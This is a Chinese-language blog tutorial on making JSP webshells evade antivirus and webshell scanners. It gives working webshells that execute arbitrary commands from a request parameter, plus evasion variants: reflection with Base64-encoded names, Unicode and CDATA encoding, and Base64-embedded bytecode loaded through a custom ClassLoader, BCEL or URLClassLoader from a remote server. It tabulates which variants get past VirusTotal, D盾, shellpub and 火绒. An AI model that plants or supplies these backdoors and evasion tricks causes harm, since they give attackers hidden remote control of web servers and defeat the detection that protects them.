认识JSP webshell免杀

1 认识Webshell

创建一个JSP文件:

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page language="java" pageEncoding="utf-8" %>

<%
    String cmd = request.getParameter("cmd");
    Process process = Runtime.getRuntime().exec(cmd);
    InputStream is = process.getInputStream();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
    String r = null;
    while((r = bufferedReader.readLine())!=null){
        response.getWriter().println(r);
    }
%>

Tomcat运行 

 
  

认识JSP webshell免杀_第1张图片

图片

这就是一个典型的webshell,但这个webshell的各种特征已经被安全检测平台记录,很容易识别出来。

【virustotal】

认识JSP webshell免杀_第2张图片

【D盾】

认识JSP webshell免杀_第3张图片

【shellpub】

认识JSP webshell免杀_第4张图片

接下来进行免杀,免杀就是将这些被识别的特征进行替换,绕过,混淆和干扰。

2 基础免杀

2.1 替换敏感函数

Runtime.getRuntime().exec(cmd)其实最终调用的是ProcessBuilder这个函数,因此我们可以直接利用ProcessBuilder来替换Runtime.getRuntime().exec(cmd),从而绕过正则表达式检测。

(1)新的JSP文件

认识JSP webshell免杀_第5张图片

(2)运行测试

图片

(3)安全检测

【virustotal-未识别】

认识JSP webshell免杀_第6张图片

【D盾-未识别】

认识JSP webshell免杀_第7张图片

【shellpub-识别】

认识JSP webshell免杀_第8张图片

2.2 BeansExpression免杀

(1)JSP

认识JSP webshell免杀_第9张图片

(2)运行测试

认识JSP webshell免杀_第10张图片

(3)检测结果

【shellpub-未识别】

认识JSP webshell免杀_第11张图片

【D盾-未识别】

认识JSP webshell免杀_第12张图片

【火绒-识别】

认识JSP webshell免杀_第13张图片

3 编码免杀

3.1 UNICODE编码

(1)JSP文件

编码网址:https://3gmfw.cn/tools/unicodebianmazhuanhuanqi/

认识JSP webshell免杀_第14张图片

编码后内容会存在 \ua ,需要手动删除,负责无法正常运行

认识JSP webshell免杀_第15张图片

认识JSP webshell免杀_第16张图片

(2)检测结果

【shellpub-识别】

认识JSP webshell免杀_第17张图片

【D盾-识别】

认识JSP webshell免杀_第18张图片

【火绒-未识别】

图片

3.2 CDTAT

(1)JSPX特性

jspx是JSP 2.0中的一项重要的功能提升,jspx其实就是以xml语法来书写jsp的文件。JSPX需要将jsp中不符合XML规范的tag进行替换,如:

<%@ include .. %>         

<%@ page .. %>             

<%= ..%>                        ..

<% ..%>                          ..

(2)JSP文件

认识JSP webshell免杀_第19张图片

检测结果-均可检出

(3)CDTAT特性,只要能配对就相互抵消,其他不变

认识JSP webshell免杀_第20张图片

(4)检测结果

【shellpub-识别】

认识JSP webshell免杀_第21张图片

【D盾-未识别】

认识JSP webshell免杀_第22张图片

【火绒-未识别】

认识JSP webshell免杀_第23张图片

(5)HTML

JSPX可以识别html编码

注意:注意:含有CDATA的内容是不能进行html实体编码的,反之html实体编码后的内容也不能插入CDATA,否则无法执行

编码网站:https://www.qqxiuzi.cn/bianma/zifushiti.php

认识JSP webshell免杀_第24张图片

认识JSP webshell免杀_第25张图片

认识JSP webshell免杀_第26张图片

4 反射免杀

4.1 基础反射

(1)JSP文件

认识JSP webshell免杀_第27张图片

(2)查杀结果

工具 shellhub D盾 火绒
结果 识别 识别 识别

4.2 优化

反射中的明显特征如java.lang.Runtime,getRuntime,exec这些敏感内容,都是字符串形式输入,由此我们能操作的空间就很大了。

(1)BASE64加密

认识JSP webshell免杀_第28张图片

检测结果

工具 shellhub D盾 火绒
结果 识别 识别 未识别

(2)getDeclaredMethod替换getMethod

认识JSP webshell免杀_第29张图片

检测结果

工具 shellhub D盾
结果 识别

识别

(3)经过测试某盾查杀的是当存在反射函数又存在Process类的getInputStream方法时会被查杀

认识JSP webshell免杀_第30张图片

检测结果

工具 shellhub D盾
结果 识别

未识别

5 字节码免杀

5.1 生成字节码

(1)JAVAC生成字节码

认识JSP webshell免杀_第31张图片

图片

编写程序加载class

认识JSP webshell免杀_第32张图片

(2)javassist生成字节码​​​​​​​

import javassist.*;

import java.io.IOException;
import java.util.Base64;

public class test2 {
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
        ClassPool classPool = ClassPool.getDefault();

        CtClass cc1 = classPool.makeClass("com.demo2.shell");

        CtConstructor cons = new CtConstructor(new CtClass[]{},cc1);
        cons.setBody("{}");
        String runCode1="{}";
        cons.insertBefore((runCode1));
        cc1.addConstructor(cons);

        CtMethod cm2 = new CtMethod(ClassPool.getDefault().get("java.lang.String"), "runs", new CtClass[]{classPool.get("java.lang.String")}, cc1);
        cm2.setModifiers(Modifier.PUBLIC);
        cm2.setBody("{        Process process = Runtime.getRuntime().exec($1);\n" +
                "        java.io.InputStream is = process.getInputStream();\n" +
                "        java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));\n" +
                "        String r = \"\";\n" +
                "        String s = \"\";\n" +
                "        while((r = bufferedReader.readLine())!=null){\n" +
                "            s += r;\n" +
                "        }\n" +
                "        return s;}");
        cc1.addMethod(cm2);
        System.out.println(new String(Base64.getEncoder().encode(cc1.toBytecode())));

    }
}
(3)ASM生成字节码
package demo2;

import jdk.internal.org.objectweb.asm.ClassWriter;
import jdk.internal.org.objectweb.asm.MethodVisitor;
import java.util.Base64;
import static jdk.internal.org.objectweb.asm.Opcodes.*;

public class test3 {
    public static void main(String[] args){

        ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
        cw.visit(V1_8, ACC_PUBLIC, "Shell", null, "java/lang/Object", null);

        MethodVisitor mw = cw.visitMethod(ACC_PUBLIC, "", "()V", null, null);
        mw.visitVarInsn(ALOAD, 0);
        mw.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "", "()V",false);
        mw.visitInsn(RETURN);
        mw.visitMaxs(1, 1);
        mw.visitEnd();

        MethodVisitor mw2 = cw.visitMethod(ACC_PUBLIC, "runs",
                "(Ljava/lang/String;)Ljava/lang/Process;", null, null);
        mw2.visitCode();
        mw2.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime",
                "()Ljava/lang/Runtime;",false);
        mw2.visitVarInsn(ALOAD,1);
        mw2.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
        mw2.visitInsn(ARETURN);
        mw2.visitMaxs(10, 3);
        mw2.visitEnd();
        byte[] code = cw.toByteArray();
        System.out.println(new String(Base64.getEncoder().encode(code)));

    }

5.2 Classloader加载字节码

加载的类名要与class对应上。

(1)JSP文件

<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.security.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%


    ClassLoader loader = new ClassLoader() {
        @Override
        public Class loadClass(String name) throws ClassNotFoundException {
            if(name.contains("demo2.shell")){
                return findClass(name);
            }
            return super.loadClass(name);
        }

        @Override
        protected Class findClass(String name) throws ClassNotFoundException {
            try {
                byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAQwoAEAAgCgAhACIKACEAIwoAJAAlBwAmBwAnCgAGACgKAAUAKQgAKgoABQArBwAsCgALACAKAAsALQoACwAuBwAvBwAwAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABHJ1bnMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHADEHADIHADMHACYBAApFeGNlcHRpb25zBwA0AQAKU291cmNlRmlsZQEACnNoZWxsLmphdmEMABEAEgcANQwANgA3DAA4ADkHADIMADoAOwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAARADwMABEAPQEAAAwAPgA/AQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAEAAQQwAQgA/AQALZGVtbzIvc2hlbGwBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N0cmluZwEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcAIQAPABAAAAAAAAIAAQARABIAAQATAAAAHQABAAEAAAAFKrcAAbEAAAABABQAAAAGAAEAAAAIAAkAFQAWAAIAEwAAAKEABQAGAAAAS7gAAiq2AANMK7YABE27AAVZuwAGWSy3AAe3AAhOEgk6BBIJOgUttgAKWToExgAcuwALWbcADBkFtgANGQS2AA22AA46Baf/4BkFsAAAAAIAFAAAACIACAAAAAsACAAMAA0ADQAdAA4AIQAPACUAEAAvABEASAATABcAAAAcAAL/ACUABgcAGAcAGQcAGgcAGwcAGAcAGAAAIgAcAAAABAABAB0AAQAeAAAAAgAf");
                PermissionCollection pc = new Permissions();
                pc.add(new AllPermission());
                ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
                return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
            } catch (Exception e) {
                e.printStackTrace();
            }
            return super.findClass(name);
        }
    };
String cmd = request.getParameter("cmd");
    Class shell = loader.loadClass("demo2.shell");

    Object object =  shell.newInstance();
    Method method = shell.getMethod("runs",String.class);

    Object o = method.invoke(object, cmd);
    InputStream is = new ByteArrayInputStream(o.toString().getBytes());
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
    String r = "";
    String s = "";
    while((r = bufferedReader.readLine())!=null){
        s += r;
    }
    response.getWriter().println(s);

%>

(2)运行

认识JSP webshell免杀_第33张图片

(3)检测结果

工具 shellhub D盾 火绒
结果 识别 未识别 未识别

5.3 BCEL字节码免杀

Apache Commons BCEL被包含在了JDK的原生库中,BCEL库提供了一系列用于分析、创建、修改Java Class文件的API用于处理字节码,但是com.sun.org.apache.bcel.internal.util.ClassLoader这个类加载器由于安全问题,在JDK7以上版本被移除,导致BCEL字节码的利用变得很局限。

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="com.sun.org.apache.xml.internal.security.utils.Base64" %>
<%@ page import="com.sun.org.apache.bcel.internal.classfile.Utility" %>
<%
        byte[] bytes = Base64.decode("yv66vgAAADQAQwoAEAAgCgAhACIKACEAIwoAJAAlBwAmBwAnCgAGACgKAAUAKQgAKgoABQArBwAsCgALACAKAAsALQoACwAuBwAvBwAwAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABHJ1bnMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHADEHADIHADMHACYBAApFeGNlcHRpb25zBwA0AQAKU291cmNlRmlsZQEACnNoZWxsLmphdmEMABEAEgcANQwANgA3DAA4ADkHADIMADoAOwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAARADwMABEAPQEAAAwAPgA/AQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAEAAQQwAQgA/AQALZGVtbzIvc2hlbGwBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N0cmluZwEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcAIQAPABAAAAAAAAIAAQARABIAAQATAAAAHQABAAEAAAAFKrcAAbEAAAABABQAAAAGAAEAAAAIAAkAFQAWAAIAEwAAAKEABQAGAAAAS7gAAiq2AANMK7YABE27AAVZuwAGWSy3AAe3AAhOEgk6BBIJOgUttgAKWToExgAcuwALWbcADBkFtgANGQS2AA22AA46Baf/4BkFsAAAAAIAFAAAACIACAAAAAsACAAMAA0ADQAdAA4AIQAPACUAEAAvABEASAATABcAAAAcAAL/ACUABgcAGAcAGQcAGgcAGwcAGAcAGAAAIgAcAAAABAABAB0AAQAeAAAAAgAf");
        String code = Utility.encode(bytes, true);
        String bcelCode = "$$BCEL$$" + code;
        com.sun.org.apache.bcel.internal.util.ClassLoader bcelClassLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader();

        Class shell = bcelClassLoader.loadClass(bcelCode);
        Object object = shell.newInstance();
        Method dm = shell.getDeclaredMethod("runs",String.class);

        String cmd = request.getParameter("cmd");
        response.getWriter().println(dm.invoke(object, cmd));
%>

检测结果

工具 shellhub D盾 火绒
结果 识别 未识别 未识别

5.4 URLClassLoader加载​​​​​​​

<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.lang.reflect.Method" %>
<%
        String cmd = request.getParameter("cmd");
        URL url = new URL("http://127.0.0.1:8000/");
        URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
        System.out.println("父类加载器:" + classLoader.getParent()); // 默认父类加载器是系统类加载器
        Class shell = classLoader.loadClass("demo2.shell");
        Object object =  shell.newInstance();
        Method dm = shell.getDeclaredMethod("runs",String.class);
        Object invoke = dm.invoke(object, cmd);
        response.getWriter().println(invoke);

%>

服务端:

第一步:在一个文件夹中使用python开启一个http服务python -m http.server

认识JSP webshell免杀_第34张图片

第二步:将编译好的class文件,根据全限定类名创建相应的文件夹,并导入class文件

图片

认识JSP webshell免杀_第35张图片

检测结果

工具 shellhub D盾 火绒
结果 未识别 未识别 未识别

你可能感兴趣的:(Web安全,java,servlet,网络安全,web安全,安全)